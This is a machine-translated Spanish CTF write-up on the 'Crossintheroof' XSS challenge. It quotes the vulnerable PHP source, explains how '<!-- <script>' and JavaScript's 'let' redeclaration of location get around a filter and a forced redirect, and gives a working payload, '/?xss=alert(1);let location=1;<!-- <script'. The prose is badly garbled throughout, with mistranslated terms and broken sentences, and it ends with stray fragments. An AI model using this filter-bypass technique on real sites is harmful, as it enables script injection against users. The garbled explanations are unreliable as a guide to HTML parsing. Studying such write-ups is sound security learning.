El problema más difícil, por no hacerlo, la calidad es alta, siento la magia de Occidente, porque ningún medio, sólo puedo tratar de reproducirlo
Crossintheroof
Bajo / fuente a la fuente:
<?php
header('X-XSS-Protection: 0');
header('X-Frame-Options: deny');
header('X-Content-Type-Options: nosniff');
header('Content-Type: text/html; charset=UTF-8');
if(!isset($_GET['xss'])){
if(isset($_GET['error'])){
die('stop haking me!!!');
}
if(isset($_GET['source'])){
highlight_file('index.php');
die();
}
die('unluky');
}
$xss = $_GET['xss']?$_GET['xss']:"";
$xss = preg_replace("|[}/{]|", "", $xss);
?>
<script>
setTimeout(function(){
try{
return location = '/?i_said_no_xss_4_u_:)';
nodice=<?php echo $xss; ?>;
}catch(err){
return location = '/?error='+<?php echo $xss; ?>;
}
},500);
</script>
<script>
/*
payload: <?php echo $xss ?>
*/
</script>
<body onload='location="/?no_xss_4_u_:)"'>hi. bye.</body>
Para no enredar este problema, primer vistazo a un html cuenta:
aquí con un comentario escrito una etiqueta <script>, y la etiqueta o como una cadena, mirada a los resultados, se encuentra no sólo no hacer estallar, y uno más </ script> etiqueta
HTML al analizar, y determina automáticamente la integridad del complemento etiqueta, por ejemplo siguiente ejemplo
<!DOCTYPE html>
<html>
<head>
<title></title>
</head>
<body>
<script>
alert(1)
Aquí acaba de escribir una etiqueta de script y DBO etiqueta, ayuda html nosotros de forma automática llenos
pero Incluir automáticamente la etiqueta no se ha resuelto correctamente, vistazo a este ejemplo:
<script>
var example = 'Consider this string: <!-- <script>';
alert(1)
test</script>
<body>hello world</body>
Normalmente se abrirá, y luego mundial muestra hola, pero no pasó nada
mirada html cuidadosamente analizada
primera prueba </ script> etiqueta se utiliza para realizar anotaciones en el <! - <script> correspondencia etiqueta, y luego desde el exterior también hay una capa de escritura, html generado automáticamente / script lleno, pero hizo notar aquí que el cuerpo de la etiqueta y su contenido se incorporan dentro de la etiqueta script, que también llevó a la etiqueta del cuerpo no puede ser resuelto correctamente, esta es una pregunta con trampa
La forma correcta es escapar de la secuencia de comandos:
<script>
var example = 'Consider this string: <!-- <\script>';
alert(1)
test</script>
<body>hello world</body>
Después de escapar normales analítica y pop
este ejemplo es el mismo:
<script>
var example = 'Consider this string: <!-- <script>';
alert(1)
</script>
<!-- despite appearances, this is actually part of the script still! -->
<script>
// this is the same script block still...
</script>
Podemos ver el color es diferente, que debe ser anotada cuerdas a pesar ...... no han resuelto adecuadamente
manera correcta es utilizar el carácter de escape:
<script>
var example = 'Consider this string: \<!-- \<script>';
alert(1)
</script>
<!-- despite appearances, this is actually part of the script still! -->
<script>
// this is the same script block still...
</script>
Artículo de referencia: https://html.spec.whatwg.org/multipage/scripting.html#restrictions-for-contents-of-script-elements
O puede escribir el carácter de comentario intacta, por lo que la etiqueta script se completa anotada, html y no para resolver
<script>
var example = 'Consider this string: <!-- <script> -->';
alert(1)
test</script>
<body>hello world</body>
correcta visualización
volver sobre el tema:
el principio es un filtro normal:
$xss = preg_replace("|[}/{]|", "", $xss);
Luego js
<script>
setTimeout(function(){
try{
return location = '/?i_said_no_xss_4_u_:)';
nodice=<?php echo $xss; ?>;
}catch(err){
return location = '/?error='+<?php echo $xss; ?>;
}
},500);
</script>
<script>
/*
payload: <?php echo $xss ?>
*/
</script>
<body onload='location="/?no_xss_4_u_:)"'>hi. bye.</body>
En primer lugar los js establecer un setTimeout es 500 ms después de la ejecución irán try {} catch {} Esta declaración,
pero la parte inferior hay un salto en el cuerpo de la etiqueta, sin duda será un primer salto normal, pero que pasan acaba de decir truco:
<!-- <script>
para que el cuerpo no se resuelve adecuadamente
y luego entrar en el intento de captura, probar aquí por un buen inicio y estaban
return location = '/?i_said_no_xss_4_u_:)';
No podemos conducir a XSS, pero si el error no puede saltar y en la captura y el eslogan es XSS pueden ser directos, tales como:
<script>
setTimeout(function(){
try{
return location = '/?i_said_no_xss_4_u_:)'+alert(1);
nodice='';
}catch(err){
return location = '/?error=';
}
},500);
</script>
Basta con meter después del salto, entonces es como recibir una
En JavaScript, siempre que sea de declarar funciones y variables, independientemente de su alcance es global o local, que se trasladará a la parte superior de su alcance. Esto se conoce como actualización JavaScript.
En primer lugar, las variables de declarar JavaScript en el fondo, y luego inicializarlo. Mejor antes de ejecutar cualquier código para controlar las declaraciones de variables.
Sin embargo, en javascript, las variables no declaradas no existen en su código antes de su distribución. Por lo tanto, cuando se realiza la asignación, la asignación de un valor a una variable no declarada implícitamente a crearlo como una variable global. Esto significa que todas las variables no declaradas son variables globales.
Esa es una variable no declarada es una variable global, la declaración de variables es una variable local, vistazo a un ejemplo para facilitar la comprensión
las variables no declaradas asignados por el alcance global de Javascript, por lo que puede imprimir fuera de la función, pero en la variable B, el alcance es limitado y no podemos estar fuera usada, por lo que habrá ReferenceError.
Imprimir las variables locales en el error externo llevado al
artículo detallado: https://www.geeksforgeeks.org/javascript-hoisting/
Volver a este tema, ubicación en js ha sido declarado, y luego volver a dejar ubicación = 1; también está dada
por lo que la carga final es:
/?xss=alert(1);let location=1;<!-- <script
Nota: Este script no se puede cerrar, porque no hay cotizaciones paquete será directamente ser entendido como cerrado después de una etiqueta de script
En la siguiente manera, a la mirada / cambio de secuencia de comandos en algunos de lo obvio
no está cerrada a la normalidad
artículo de referencia:
https://www.redmango.top/article/26
https://github.com/hrca-writeups/CTF-Writeups/blob/master / 2020 / sol de medianoche CTF 2020 Quals / Crossintheroof.md
ShitHappens
gugugu